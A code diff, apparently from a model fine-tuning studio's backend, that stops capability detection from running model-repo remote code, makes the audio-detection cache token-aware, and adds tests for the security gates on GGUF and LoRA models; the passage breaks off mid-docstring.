get_base_model_from_lora_identifier("someone/remote-lora") + assert base == "unsloth/Llama-3.2-1B-Instruct" + assert calls["n"] == 2 # retried once + + +def test_lora_identifier_persistent_transient_returns_none(): + # Two transient errors -> None, logged at WARNING (a missed base is gated by neither). + # Assert on the logger directly: robust to the logging backend (structlog vs stub). + from utils.models import model_config as _mc + with ( + patch("huggingface_hub.hf_hub_download", side_effect = RuntimeError("down")), + patch.object(_mc.logger, "warning") as mock_warn, + ): + assert get_base_model_from_lora_identifier("someone/remote-lora") is None + assert any( + "Could not resolve remote LoRA base" in str(c.args[0]) for c in mock_warn.call_args_list + ) + + @patch("utils.models.model_config.is_audio_input_type", return_value = False) @patch("utils.models.model_config.detect_audio_type", return_value = None) @patch("utils.models.model_config.is_vision_model", return_value = False) diff --git a/studio/backend/tests/test_validate_model_error.py b/studio/backend/tests/test_validate_model_error.py index f752f8eada..16edd43f93 100644 --- a/studio/backend/tests/test_validate_model_error.py +++ b/studio/backend/tests/test_validate_model_error.py @@ -84,3 +84,130 @@ def test_empty_runtime_error_falls_back_to_generic(monkeypatch): http = _provoke(monkeypatch, RuntimeError("")) assert http.status_code == 400 assert http.detail == "Invalid model" + + +def _drive_validate(monkeypatch, *, is_gguf: bool): + """Run validate_model with both security helpers forced True; return the response.""" + from types import SimpleNamespace + + import utils.models.model_config as mc + + monkeypatch.setattr( + inf, + "_resolve_model_identifier_for_request", + lambda request, operation: ("org/mixed-repo", "org/mixed-repo", False), + ) + config = SimpleNamespace( + identifier = "org/mixed-repo", + display_name = "org/mixed-repo", + is_gguf = is_gguf, + is_lora = False, + is_vision = False, + gguf_file = None, + ) + monkeypatch.setattr(inf.ModelConfig, "from_identifier", staticmethod(lambda **_kw: config)) + # No LoRA base to resolve; keep it offline. + monkeypatch.setattr(mc, "get_base_model_from_lora_identifier", lambda *_a, **_k: None) + # Both gates WOULD flag this repo (mixed repo with auto_map + an unsafe pickle). + monkeypatch.setattr(inf, "_requires_trust_remote_code_for_model", lambda *_a, **_k: True) + monkeypatch.setattr(inf, "_requires_security_review_for_model", lambda *_a, **_k: True) + + req = ValidateModelRequest(model_path = "org/mixed-repo") + return asyncio.run(inf.validate_model(req, current_subject = "tester")) + + +def test_selected_gguf_variant_skips_trc_and_security_review(monkeypatch): + # GGUF loads via llama.cpp: auto_map and root pickles are inert, so neither gate fires. + resp = _drive_validate(monkeypatch, is_gguf = True) + assert resp.is_gguf is True + assert resp.requires_trust_remote_code is False + assert resp.requires_security_review is False + + +def test_non_gguf_load_still_runs_trc_and_security_review(monkeypatch): + # Control: a Transformers (non-GGUF) load must still honor both gates. + resp = _drive_validate(monkeypatch, is_gguf = False) + assert resp.is_gguf is False + assert resp.requires_trust_remote_code is True + assert resp.requires_security_review is True + + +def test_resolve_loaded_trc_prefers_stored_value(): + # A value stored at load time wins, so a status refresh does not re-derive it. + assert ( + inf._resolve_loaded_trust_remote_code("org/m", {"requires_trust_remote_code": True}, {}) + is True + ) + assert ( + inf._resolve_loaded_trust_remote_code( + "org/m", {"requires_trust_remote_code": False}, {"trust_remote_code": True} + ) + is False + ) + + +def test_resolve_loaded_trc_uses_runtime_and_yaml(): + # No stored value: the trust_remote_code the load used, then the YAML default. + assert ( + inf._resolve_loaded_trust_remote_code("org/m", {}, {}, trust_remote_code_used = True) is True + ) + assert inf._resolve_loaded_trust_remote_code("org/m", {}, {"trust_remote_code": True}) is True + + +def test_resolve_loaded_trc_falls_back_to_raw_auto_map(monkeypatch): + # No stored value or runtime/YAML signal: fall back to the raw auto_map check. + monkeypatch.setattr(inf, "_requires_trust_remote_code_for_model", lambda *_a, **_k: True) + assert inf._resolve_loaded_trust_remote_code("org/custom", {}, {}) is True + monkeypatch.setattr(inf, "_requires_trust_remote_code_for_model", lambda *_a, **_k: False) + assert inf._resolve_loaded_trust_remote_code("org/plain", {}, {}) is False + + +def _drive_validate_lora(monkeypatch, *, adapter_needs_trc, base_needs_trc): + """Run validate_model for a LoRA adapter whose base resolves, with per-target + trust_remote_code answers; return the response.""" + from types import SimpleNamespace + + import utils.models.model_config as mc + + adapter, base = "org/lora-adapter", "org/base-model" + monkeypatch.setattr( + inf, + "_resolve_model_identifier_for_request", + lambda request, operation: (adapter, adapter, False), + ) + config = SimpleNamespace( + identifier = adapter, + display_name = adapter, + is_gguf = False, + is_lora = True, + is_vision = False, + gguf_file = None, + ) + monkeypatch.setattr(inf.ModelConfig, "from_identifier", staticmethod(lambda **_kw: config)) + monkeypatch.setattr(mc, "get_base_model_from_lora_identifier", lambda *_a, **_k: base) + trc = {adapter: adapter_needs_trc, base: base_needs_trc} + monkeypatch.setattr( + inf, + "_requires_trust_remote_code_for_model", + lambda target, *_a, **_k: trc.get(target, False), + ) + monkeypatch.setattr(inf, "_requires_security_review_for_model", lambda *_a, **_k: False) + req = ValidateModelRequest(model_path = adapter) + return asyncio.run(inf.validate_model(req, current_subject = "tester")) + + +def test_validate_lora_flags_trc_from_adapter_only(monkeypatch): + # Adapter ships auto_map, base does not: the requirement follows either repo. + resp = _drive_validate_lora(monkeypatch, adapter_needs_trc = True, base_needs_trc = False) + assert resp.requires_trust_remote_code is True + + +def test_validate_lora_flags_trc_from_base_only(monkeypatch): + # The classic case: the base ships custom code, the adapter does not. + resp = _drive_validate_lora(monkeypatch, adapter_needs_trc = False, base_needs_trc = True) + assert resp.requires_trust_remote_code is True + + +def test_validate_lora_clean_when_neither_needs_trc(monkeypatch): + resp = _drive_validate_lora(monkeypatch, adapter_needs_trc = False, base_needs_trc = False) + assert resp.requires_trust_remote_code is False diff --git a/studio/backend/tests/test_vision_cache.py b/studio/backend/tests/test_vision_cache.py index d1bdec8449..192bec53c8 100644 --- a/studio/backend/tests/test_vision_cache.py +++ b/studio/backend/tests/test_vision_cache.py @@ -96,11 +96,13 @@ class TestVisionCacheSubprocessPath: The cache should spawn the subprocess at most once per model per process.""" + @patch("utils.models.model_config._raw_config_has_vision_config", return_value = None) @patch("utils.models.model_config._is_vision_model_subprocess", return_value = True) @patch("utils.transformers_version.needs_transformers_5", return_value = True) - def test_subprocess_called_once_with_cache(self, mock_needs_t5, mock_subprocess): - """Subprocess fires only on the first call; second is cached.""" - # First call: uncached → subprocess + def test_subprocess_called_once_with_cache(self, mock_needs_t5, mock_subprocess, mock_raw): + """When the raw-config reader is inconclusive (None), the transformers + 5.x subprocess fires only on the first call; the second is cached.""" + # First call: raw None -> subprocess assert is_vision_model("unsloth/Qwen3.5-2B") is True # Second call: cache hit, no subprocess assert is_vision_model("unsloth/Qwen3.5-2B") is True @@ -111,14 +113,16 @@ class TestVisionCacheSubprocessPath: @patch("utils.models.model_config._raw_config_has_vision_config", return_value = True) @patch("utils.models.model_config._is_vision_model_subprocess", return_value = None) @patch("utils.transformers_version.needs_transformers_5", return_value = True) - def test_subprocess_none_falls_back_to_raw_vision_config( + def test_raw_config_primary_skips_subprocess( self, mock_needs_t5, mock_subprocess, mock_raw_config ): + # The raw config.json read is the primary path; a definitive answer there never + # reaches the transformers-5.x subprocess or needs_transformers_5 routing. assert is_vision_model("unsloth/gemma-4-E4B-it") is True assert is_vision_model("unsloth/gemma-4-E4B-it") is True - mock_subprocess.assert_called_once() mock_raw_config.assert_called_once_with("unsloth/gemma-4-E4B-it", hf_token = None) + mock_subprocess.assert_not_called() # --------------------------------------------------------------------------- @@ -259,9 +263,10 @@ class TestVisionCacheDirectPath: """Models that do NOT need transformers 5.x detect via load_model_config directly. The cache must work the same way.""" + @patch("utils.models.model_config._raw_config_has_vision_config", return_value = None) @patch("utils.transformers_version.needs_transformers_5", return_value = False) @patch("utils.models.model_config.load_model_config") - def test_direct_vlm_detection_cached(self, mock_load_config, mock_needs_t5): + def test_direct_vlm_detection_cached(self, mock_load_config, mock_needs_t5, mock_raw): """A standard VLM detected via architecture suffix should be cached.""" cfg = MagicMock(spec = []) # strict: only explicitly set attrs exist cfg.model_type = "gemma3" @@ -273,9 +278,10 @@ class TestVisionCacheDirectPath: # load_model_config should only be called once mock_load_config.assert_called_once() + @patch("utils.models.model_config._raw_config_has_vision_config", return_value = None) @patch("utils.transformers_version.needs_transformers_5", return_value = False) @patch("utils.models.model_config.load_model_config") - def test_direct_non_vlm_detection_cached(self, mock_load_config, mock_needs_t5): + def test_direct_non_vlm_detection_cached(self, mock_load_config, mock_needs_t5, mock_raw): """A standard text model (no VLM indicators) should cache False.""" cfg = MagicMock(spec = []) # spec=[] means no attributes at all cfg.model_type = "llama" @@ -287,9 +293,12 @@ class TestVisionCacheDirectPath: assert is_vision_model("meta-llama/Llama-3-8B") is False mock_load_config.assert_called_once() + @patch("utils.models.model_config._raw_config_has_vision_config", return_value = None) @patch("utils.transformers_version.needs_transformers_5", return_value = False) @patch("utils.models.model_config.load_model_config") - def test_vision_config_attr_detected_and_cached(self, mock_load_config, mock_needs_t5): + def test_vision_config_attr_detected_and_cached( + self, mock_load_config, mock_needs_t5, mock_raw + ): """Models with vision_config (LLaVA, Qwen2-VL, etc.) should be cached as True.""" cfg = MagicMock(spec = []) # strict: only explicitly set attrs exist cfg.model_type = "qwen2_vl" @@ -301,9 +310,10 @@ class TestVisionCacheDirectPath: assert is_vision_model("Qwen/Qwen2-VL-7B") is True mock_load_config.assert_called_once() + @patch("utils.models.model_config._raw_config_has_vision_config", return_value = None) @patch("utils.transformers_version.needs_transformers_5", return_value = False) @patch("utils.models.model_config.load_model_config") - def test_gemma4_model_type_detected_and_cached(self, mock_load_config, mock_needs_t5): + def test_gemma4_model_type_detected_and_cached(self, mock_load_config, mock_needs_t5, mock_raw): cfg = MagicMock(spec = []) cfg.model_type = "gemma4" cfg.architectures = ["Gemma4ForConditionalGeneration"] @@ -313,9 +323,12 @@ class TestVisionCacheDirectPath: assert is_vision_model("google/gemma-4-E4B-it") is True mock_load_config.assert_called_once() + @patch("utils.models.model_config._raw_config_has_vision_config", return_value = None) @patch("utils.transformers_version.needs_transformers_5", return_value = False) @patch("utils.models.model_config.load_model_config") - def test_gemma4_audio_subconfig_not_detected_as_vision(self, mock_load_config, mock_needs_t5): + def test_gemma4_audio_subconfig_not_detected_as_vision( + self, mock_load_config, mock_needs_t5, mock_raw + ): cfg = MagicMock(spec = []) cfg.model_type = "gemma4_audio" cfg.architectures = ["Gemma4AudioModel"] @@ -325,9 +338,12 @@ class TestVisionCacheDirectPath: assert is_vision_model("local/gemma4-audio-encoder") is False mock_load_config.assert_called_once() + @patch("utils.models.model_config._raw_config_has_vision_config", return_value = None) @patch("utils.transformers_version.needs_transformers_5", return_value = False) @patch("utils.models.model_config.load_model_config") - def test_gemma4_text_subconfig_not_detected_as_vision(self, mock_load_config, mock_needs_t5): + def test_gemma4_text_subconfig_not_detected_as_vision( + self, mock_load_config, mock_needs_t5, mock_raw + ): cfg = MagicMock(spec = []) cfg.model_type = "gemma4_text" cfg.architectures = ["Gemma4ForCausalLM"] @@ -337,9 +353,10 @@ class TestVisionCacheDirectPath: assert is_vision_model("local/gemma-4-text") is False mock_load_config.assert_called_once() + @patch("utils.models.model_config._raw_config_has_vision_config", return_value = None) @patch("utils.transformers_version.needs_transformers_5", return_value = False) @patch("utils.models.model_config.load_model_config") - def test_audio_model_excluded_and_cached(self, mock_load_config, mock_needs_t5): + def test_audio_model_excluded_and_cached(self, mock_load_config, mock_needs_t5, mock_raw): """Audio-only models (csm, whisper) with ForConditionalGeneration should be excluded from VLM detection and cached as False.""" cfg = MagicMock(spec = []) # strict: only explicitly set attrs exist @@ -489,7 +506,8 @@ class TestVlmAudioExclusion: fallback, and the inlined subprocess helper too.""" def test_audio_only_set_canonical(self): - assert _AUDIO_ONLY_MODEL_TYPES == {"csm", "whisper"} + # Derived from the transformers audio registry, so a superset of {csm, whisper}. + assert {"csm", "whisper"} <= _AUDIO_ONLY_MODEL_TYPES def test_is_vlm_excludes_whisper(self): cfg = MagicMock(spec = []) @@ -528,3 +546,68 @@ class TestVlmAudioExclusion: }, ) assert is_vision_model(str(tmp_path)) is False + + +class TestAudioDetectionCacheTokenAware: + """The audio cache mirrors the vision cache: keyed by (model, token_fingerprint) + so an unauthenticated miss cannot poison a later authenticated lookup.""" + + def test_audio_cache_is_token_aware(self, monkeypatch): + import utils.models.model_config as mc + + mc._audio_detection_cache.clear() + calls = [] + + def _fake(name, hf_token = None): + calls.append(hf_token) + # Gated repo: only an authenticated probe can read the tokenizer. + return ("bicodec", True) if hf_token else (None, True) + + monkeypatch.setattr(mc, "_detect_audio_from_tokenizer", _fake) + monkeypatch.setattr(mc, "is_local_path", lambda *_a, **_k: False) + monkeypatch.setattr(mc, "resolve_cached_repo_id_case", lambda n, *_a, **_k: n) + + # Unauthenticated miss caches None under (name, None)... + assert mc.detect_audio_type("private/spark") is None + # ...but the authenticated call uses a different key and is NOT poisoned. + assert mc.detect_audio_type("private/spark", hf_token = "hf_x") == "bicodec" + assert calls == [None, "hf_x"] + + # Same (model, token) is served from cache (no third probe). + assert mc.detect_audio_type("private/spark", hf_token = "hf_x") == "bicodec" + assert calls == [None, "hf_x"] + mc._audio_detection_cache.clear() + + def test_transient_none_is_not_cached_but_definitive_none_is(self, monkeypatch): + """A transient probe failure (definitive=False) must retry; a clean + 'not audio' read (definitive=True) caches so we don't re-probe.""" + import utils.models.model_config as mc + + mc._audio_detection_cache.clear() + monkeypatch.setattr(mc, "is_local_path", lambda *_a, **_k: False) + monkeypatch.setattr(mc, "resolve_cached_repo_id_case", lambda n, *_a, **_k: n) + + transient_calls = [] + + def _transient(name, hf_token = None): + transient_calls.append(hf_token) + return (None, False) # network/5xx -- not cacheable + + monkeypatch.setattr(mc, "_detect_audio_from_tokenizer", _transient) + assert mc.detect_audio_type("flaky/model") is None + assert mc.detect_audio_type("flaky/model") is None + # Re-probed both times: the transient None was never cached. + assert transient_calls == [None, None] + + definitive_calls = [] + + def _definitive(name, hf_token = None): + definitive_calls.append(hf_token) + return (None, True) # read the config, no audio tokens + + monkeypatch.setattr(mc, "_detect_audio_from_tokenizer", _definitive) + assert mc.detect_audio_type("plain/text-model") is None + assert mc.detect_audio_type("plain/text-model") is None + # Probed once: the definitive None was cached. + assert definitive_calls == [None] + mc._audio_detection_cache.clear() diff --git a/studio/backend/utils/hardware/hardware.py b/studio/backend/utils/hardware/hardware.py index 08a470f11f..12baded14a 100644 --- a/studio/backend/utils/hardware/hardware.py +++ b/studio/backend/utils/hardware/hardware.py @@ -1136,14 +1136,22 @@ def _get_hf_safetensors_total_params( def _load_config_for_gpu_estimate(model_name: str, hf_token: Optional[str] = None): + # Estimation needs only declarative config.json fields, and this probe runs + # on model selection, so read raw config.json (never run auto_map Python) and + # expose it as an attribute namespace for downstream getattr access. try: - from transformers import AutoConfig - trust_remote_code = model_name.lower().startswith("unsloth/") - return AutoConfig.from_pretrained( - model_name, - token = hf_token, - trust_remote_code = trust_remote_code, - ) + from utils.transformers_version import _load_config_json + + cfg = _load_config_json(model_name, hf_token = hf_token) + if cfg is None: + return None + + def _to_ns(d): + if isinstance(d, dict): + return types.SimpleNamespace(**{k: _to_ns(v) for k, v in d.items()}) + return d + + return _to_ns(cfg) except Exception as e: logger.warning("Could not load config for '%s': %s", model_name, e) return None diff --git a/studio/backend/utils/models/__init__.py b/studio/backend/utils/models/__init__.py index 74d08ac116..4a5fb7274c 100644 --- a/studio/backend/utils/models/__init__.py +++ b/studio/backend/utils/models/__init__.py @@ -16,6 +16,7 @@ from .model_config import ( get_base_model_from_checkpoint, load_model_defaults, get_base_model_from_lora, + get_base_model_from_lora_identifier, load_model_config, list_gguf_variants, extract_model_size_b, @@ -40,6 +41,7 @@ __all__ = [ "get_base_model_from_checkpoint", "load_model_defaults", "get_base_model_from_lora", + "get_base_model_from_lora_identifier", "load_model_config", "list_gguf_variants", "extract_model_size_b", diff --git a/studio/backend/utils/models/model_config.py b/studio/backend/utils/models/model_config.py index 83cd281c2e..45474389c8 100644 --- a/studio/backend/utils/models/model_config.py +++ b/studio/backend/utils/models/model_config.py @@ -470,9 +470,15 @@ def load_model_config( model_name: str, use_auth: bool = False, token: Optional[str] = None, - trust_remote_code: bool = True, + trust_remote_code: bool = False, ): - """Load model config with optional authentication control.""" + """Load model config with optional authentication control. + + ``trust_remote_code`` defaults to ``False``: capability detection and + metadata lookups must never execute a model repo's ``auto_map`` Python. + Deliberate remote-code loads pass the flag explicitly through + ``FastLanguageModel.from_pretrained`` with the user's own consent. + """ from transformers import AutoConfig if token: @@ -496,22 +502,72 @@ def load_model_config( ) -# VLM architecture suffixes and known VLM model_type values. -_VLM_ARCH_SUFFIXES = ("ForConditionalGeneration", "ForVisionText2Text") -_VLM_MODEL_TYPES = { - "phi3_v", - "llava", - "llava_next", - "llava_onevision", - "internvl_chat", - "cogvlm2", - "minicpmv", - "gemma4", -} +# Detection sets come from the installed transformers registry, unioned with a +# small curated set of auto_map VLMs (DeepSeek-OCR, Kimi, phi3_v) whose arch is +# repo-defined and absent from the registry. ForConditionalGeneration is NOT a +# vision signal (overloaded across text/audio/vision); ForVisionText2Text is. +_VLM_ARCH_SUFFIXES = ("ForVisionText2Text",) -# Audio-only models that share the ForConditionalGeneration suffix -# (e.g. CsmForConditionalGeneration, WhisperForConditionalGeneration). -_AUDIO_ONLY_MODEL_TYPES = {"csm", "whisper"} +_CURATED_REMOTE_VLM_TYPES = frozenset( + { + "phi3_v", + "llava", + "llava_next", + "llava_onevision", + "internvl_chat", + "cogvlm2", + "minicpmv", + "gemma4", + "deepseek_vl_v2", + "kimi_k25", + } +) + +# Fallbacks used only if the transformers registry import fails. +_FALLBACK_AUDIO_MODEL_TYPES = frozenset({"csm", "whisper"}) + + +def _build_detection_sets(): + """Return (vlm_model_types, vlm_class_names, audio_model_types) from the + installed transformers registry, unioned with the curated repo-code VLM + set. Reads only static name dicts -- no model is loaded, no code runs. + Falls back to curated/hardcoded values if transformers is unavailable. + """ + try: + from transformers.models.auto import modeling_auto as _ma + + def _names(attr): + d = getattr(_ma, attr, None) + return dict(d) if d else {} + + itt = _names("MODEL_FOR_IMAGE_TEXT_TO_TEXT_MAPPING_NAMES") + v2s = _names("MODEL_FOR_VISION_2_SEQ_MAPPING_NAMES") + vlm_types = set(itt) | set(v2s) | set(_CURATED_REMOTE_VLM_TYPES) + vlm_classes = set(itt.values()) | set(v2s.values()) + + audio_types: set = set() + for attr in ( + "MODEL_FOR_CTC_MAPPING_NAMES", + "MODEL_FOR_SPEECH_SEQ_2_SEQ_MAPPING_NAMES", + "MODEL_FOR_AUDIO_CLASSIFICATION_MAPPING_NAMES", + "MODEL_FOR_TEXT_TO_WAVEFORM_MAPPING_NAMES", + "MODEL_FOR_TEXT_TO_SPECTROGRAM_MAPPING_NAMES", + "MODEL_FOR_AUDIO_XVECTOR_MAPPING_NAMES", + ): + audio_types |= set(_names(attr)) + audio_types |= set(_FALLBACK_AUDIO_MODEL_TYPES) + + return frozenset(vlm_types), frozenset(vlm_classes), frozenset(audio_types) + except Exception as exc: # pragma: no cover - defensive + logger.warning("Could not build detection sets from transformers: %s", exc) + return ( + frozenset(_CURATED_REMOTE_VLM_TYPES), + frozenset(), + frozenset(_FALLBACK_AUDIO_MODEL_TYPES), + ) + + +_VLM_MODEL_TYPES, _VLM_CLASS_NAMES, _AUDIO_ONLY_MODEL_TYPES = _build_detection_sets() # Pre-computed .venv_t5 paths and backend dir for subprocess version switching. # Vision check uses the Gemma 4 5.5 sidecar for existing Gemma 4 architectures. @@ -524,13 +580,19 @@ _BACKEND_DIR = str(Path(__file__).resolve().parent.parent.parent) def _is_vlm(config) -> bool: architectures = getattr(config, "architectures", None) or [] model_type = getattr(config, "model_type", None) - if model_type in _AUDIO_ONLY_MODEL_TYPES: - return False - return ( - any(x.endswith(_VLM_ARCH_SUFFIXES) for x in architectures) - or hasattr(config, "vision_config") + explicit_vision = ( + hasattr(config, "vision_config") or hasattr(config, "img_processor") or hasattr(config, "image_token_index") + or hasattr(config, "projector_config") + ) + # Audio-only models are vision only if they carry an explicit vision sub-config. + if model_type in _AUDIO_ONLY_MODEL_TYPES and not explicit_vision: + return False + return ( + explicit_vision + or any(x in _VLM_CLASS_NAMES for x in architectures) + or any(isinstance(x, str) and x.endswith(_VLM_ARCH_SUFFIXES) for x in architectures) or model_type in _VLM_MODEL_TYPES ) @@ -553,13 +615,19 @@ def _raw_config_has_vision_config( config = json.loads(config_path.read_text()) architectures = config.get("architectures") or [] model_type = config.get("model_type") - if model_type in _AUDIO_ONLY_MODEL_TYPES: - return False - return ( - any(isinstance(x, str) and x.endswith(_VLM_ARCH_SUFFIXES) for x in architectures) - or "vision_config" in config + explicit_vision = ( + "vision_config" in config or "img_processor" in config or "image_token_index" in config + or "projector_config" in config + ) + # Audio-only models are vision only if they carry an explicit vision sub-config. + if model_type in _AUDIO_ONLY_MODEL_TYPES and not explicit_vision: + return False + return ( + explicit_vision + or any(isinstance(x, str) and x in _VLM_CLASS_NAMES for x in architectures) + or any(isinstance(x, str) and x.endswith(_VLM_ARCH_SUFFIXES) for x in architectures) or model_type in _VLM_MODEL_TYPES ) except Exception as exc: @@ -570,19 +638,25 @@ def _raw_config_has_vision_config( # why: inline _is_vlm and constants are prepended so the subprocess stays # self-contained and does not import the parent backend module graph. _VISION_CHECK_INLINE_HELPERS = ( - "_VLM_ARCH_SUFFIXES = " + repr(_VLM_ARCH_SUFFIXES) + "\n" - "_VLM_MODEL_TYPES = " + repr(_VLM_MODEL_TYPES) + "\n" - "_AUDIO_ONLY_MODEL_TYPES = " + repr(_AUDIO_ONLY_MODEL_TYPES) + "\n" + "_VLM_ARCH_SUFFIXES = " + repr(tuple(_VLM_ARCH_SUFFIXES)) + "\n" + "_VLM_MODEL_TYPES = " + repr(set(_VLM_MODEL_TYPES)) + "\n" + "_VLM_CLASS_NAMES = " + repr(set(_VLM_CLASS_NAMES)) + "\n" + "_AUDIO_ONLY_MODEL_TYPES = " + repr(set(_AUDIO_ONLY_MODEL_TYPES)) + "\n" "def _is_vlm(config):\n" " architectures = getattr(config, 'architectures', None) or []\n" " model_type = getattr(config, 'model_type', None)\n" - " if model_type in _AUDIO_ONLY_MODEL_TYPES:\n" - " return False\n" - " return (\n" - " any(x.endswith(_VLM_ARCH_SUFFIXES) for x in architectures)\n" - " or hasattr(config, 'vision_config')\n" + " explicit_vision = (\n" + " hasattr(config, 'vision_config')\n" " or hasattr(config, 'img_processor')\n" " or hasattr(config, 'image_token_index')\n" + " or hasattr(config, 'projector_config')\n" + " )\n" + " if model_type in _AUDIO_ONLY_MODEL_TYPES and not explicit_vision:\n" + " return False\n" + " return (\n" + " explicit_vision\n" + " or any(x in _VLM_CLASS_NAMES for x in architectures)\n" + " or any(isinstance(x, str) and x.endswith(_VLM_ARCH_SUFFIXES) for x in architectures)\n" " or model_type in _VLM_MODEL_TYPES\n" " )\n" ) @@ -610,7 +684,8 @@ if backend_dir not in sys.path: try: from transformers import AutoConfig - kwargs = {"trust_remote_code": True} + # Capability detection never executes model repo code. + kwargs = {"trust_remote_code": False} if token: kwargs["token"] = token config = AutoConfig.from_pretrained(model_name, **kwargs) @@ -780,8 +855,15 @@ def _is_vision_model_uncached(model_name: str, hf_token: Optional[str] = None) - Returns True/False for definitive results, or None on transient errors (network, timeout, subprocess failure) so the caller knows not to cache. """ - # Models needing transformers 5.x must be checked in a subprocess: the main - # process (transformers 4.57.x) doesn't recognize their architectures. + # Try the raw-config reader FIRST (code-free, version-independent): it classifies + # repo-code VLMs like DeepSeek-OCR via declarative vision_config with no remote-code + # execution or transformers-5.x subprocess. + raw = _raw_config_has_vision_config(model_name, hf_token = hf_token) + if raw is not None: + return raw + + # Raw read failed transiently: fall back to AutoConfig with remote code DISABLED + # (in a transformers-5.x subprocess when the main process can't parse the arch). from utils.transformers_version import needs_transformers_5 if needs_transformers_5(model_name): @@ -789,21 +871,13 @@ def _is_vision_model_uncached(model_name: str, hf_token: Optional[str] = None) - "Model '%s' needs transformers 5.x -- checking vision via subprocess", model_name, ) - result = _is_vision_model_subprocess(model_name, hf_token = hf_token) - if result is not None: - return result - return _raw_config_has_vision_config(model_name, hf_token = hf_token) + return _is_vision_model_subprocess(model_name, hf_token = hf_token) try: config = load_model_config(model_name, use_auth = True, token = hf_token) - # Exclude audio-only models sharing the ForConditionalGeneration suffix - # (e.g. CsmForConditionalGeneration, WhisperForConditionalGeneration) - model_type = getattr(config, "model_type", None) - if model_type in _AUDIO_ONLY_MODEL_TYPES: - return False - if _is_vlm(config): + model_type = getattr(config, "model_type", None) archs = getattr(config, "architectures", None) or [] logger.info( "Model %s detected as VLM (model_type=%s, architectures=%s)", @@ -840,8 +914,9 @@ def _is_vision_model_uncached(model_name: str, hf_token: Optional[str] = None) - VALID_AUDIO_TYPES = ("snac", "csm", "bicodec", "dac", "whisper", "audio_vlm") -# Cache detection per session to avoid repeated API calls -_audio_detection_cache: Dict[str, Optional[str]] = {} +# Keyed by (normalized_name, token_fingerprint) like the vision cache, so an +# unauthenticated miss (None) cannot poison a later authenticated lookup. +_audio_detection_cache: Dict[Tuple[str, Optional[str]], Optional[str]] = {} # Tokenizer token patterns → audio_type (all 6 types from tokenizer_config.json) _AUDIO_TOKEN_PATTERNS = { @@ -867,22 +942,38 @@ def detect_audio_type(model_name: str, hf_token: Optional[str] = None) -> Option Returns an audio_type string ('snac', 'csm', 'bicodec', 'dac', 'whisper', 'audio_vlm') or None. """ - if model_name in _audio_detection_cache: - return _audio_detection_cache[model_name] + # Normalize casing + include the token fingerprint (mirrors is_vision_model). + try: + if is_local_path(model_name): + resolved_name = normalize_path(model_name) + else: + resolved_name = resolve_cached_repo_id_case(model_name) + except Exception: + resolved_name = model_name + cache_key = (resolved_name, _token_fingerprint(hf_token)) + if cache_key in _audio_detection_cache: + return _audio_detection_cache[cache_key] - result = _detect_audio_from_tokenizer(model_name, hf_token) - - _audio_detection_cache[model_name] = result + result, definitive = _detect_audio_from_tokenizer(model_name, hf_token) + # Cache only definitive results; a transient read failure stays None and retries. + if definitive: + _audio_detection_cache[cache_key] = result if result: logger.info(f"Model {model_name} detected as audio model: audio_type={result}") return result -def _detect_audio_from_tokenizer(model_name: str, hf_token: Optional[str] = None) -> Optional[str]: +def _detect_audio_from_tokenizer( + model_name: str, hf_token: Optional[str] = None +) -> Tuple[Optional[str], bool]: """Detect audio type from tokenizer special tokens. Checks local HF cache first, then fetches tokenizer_config.json from HF; examines added_tokens_decoder for distinctive patterns. + + Returns (audio_type_or_None, definitive). definitive is False only on a + transient read failure (network/timeout/5xx) so the caller skips caching and + retries; a successful read with no audio tokens is a definitive None. """ def _check_token_patterns(tok_config: dict) -> Optional[str]: @@ -895,6 +986,8 @@ def _detect_audio_from_tokenizer(model_name: str, hf_token: Optional[str] = None return audio_type return None + read_any = False # parsed at least one tokenizer_config -> a None is definitive + # 1) Local HF cache first (works for gated/offline models) try: repo_dir = get_cache_path(model_name) @@ -909,9 +1002,10 @@ def _detect_audio_from_tokenizer(model_name: str, hf_token: Optional[str] = None tok_file = snapshot / tok_path if tok_file.exists(): tok_config = json.loads(tok_file.read_text()) + read_any = True result = _check_token_patterns(tok_config) if result: - return result + return result, True except Exception as e: logger.debug(f"Could not check local cache for {model_name}: {e}") @@ -919,28 +1013,40 @@ def _detect_audio_from_tokenizer(model_name: str, hf_token: Optional[str] = None try: import requests import os + except Exception: + return None, read_any - paths_to_try = ["tokenizer_config.json", "LLM/tokenizer_config.json"] - token = hf_token or os.environ.get("HF_TOKEN") - headers = {} - if token: - headers["Authorization"] = f"Bearer {token}" + paths_to_try = ["tokenizer_config.json", "LLM/tokenizer_config.json"] + token = hf_token or os.environ.get("HF_TOKEN") + headers = {"Authorization": f"Bearer {token}"} if token else {} - for tok_path in paths_to_try: - url = f"https://huggingface.co/{model_name}/resolve/main/{tok_path}" + transient = False # a fetch failed for a non-404 reason (network/5xx) + for tok_path in paths_to_try: + url = f"https://huggingface.co/{model_name}/resolve/main/{tok_path}" + try: resp = requests.get(url, headers = headers, timeout = 15) - if not resp.ok: - continue - + except Exception as e: + logger.debug(f"Could not fetch {tok_path} for {model_name}: {e}") + transient = True + continue + if resp.status_code == 404: + continue # genuinely absent on this path + if not resp.ok: + transient = True # 5xx/403/etc -- can't tell, don't cache + continue + try: tok_config = resp.json() - result = _check_token_patterns(tok_config) - if result: - return result + except Exception as e: + logger.debug(f"Bad tokenizer_config for {model_name}/{tok_path}: {e}") + transient = True + continue + read_any = True + result = _check_token_patterns(tok_config) + if result: + return result, True - return None - except Exception as e: - logger.debug(f"Could not detect audio type from tokenizer for {model_name}: {e}") - return None + # No audio tokens: definitive unless every attempt failed transiently. + return None, (read_any or not transient) def is_audio_input_type(audio_type: Optional[str]) -> bool: @@ -2135,7 +2241,7 @@ def get_base_model_from_lora(lora_path: str) -> Optional[str]: return base_model # Fallback: try training_args.bin (requires torch) - # TODO: torch.load default weights_only=True (torch >= 2.6) rejects pickled TrainingArguments; also an RCE sink for third-party LoRAs via this route, re-enable behind a trust check if needed. + # TODO: torch.load default weights_only=True (torch >= 2.6) rejects pickled TrainingArguments; also an remote code execution sink for third-party LoRAs via this route, re-enable behind a trust check if needed. # training_args_path = lora_path_obj / "training_args.bin" # if training_args_path.exists(): # try: @@ -2169,6 +2275,74 @@ def get_base_model_from_lora(lora_path: str) -> Optional[str]: return None +def get_base_model_from_lora_identifier( + identifier: str, hf_token: Optional[str] = None +) -> Optional[str]: + """Resolve a LoRA adapter's base model for a LOCAL dir OR a REMOTE HF repo. + + ``get_base_model_from_lora`` only reads a local adapter directory (it requires + ``is_dir()``). The SECURITY gates must also follow a *remote* adapter's base, + because the base model's code / weights are what execute on load: an attacker's + adapter repo can point ``base_model_name_or_path`` at a base carrying a poisoned + pickle or HIGH auto_map code. For a remote repo id we fetch 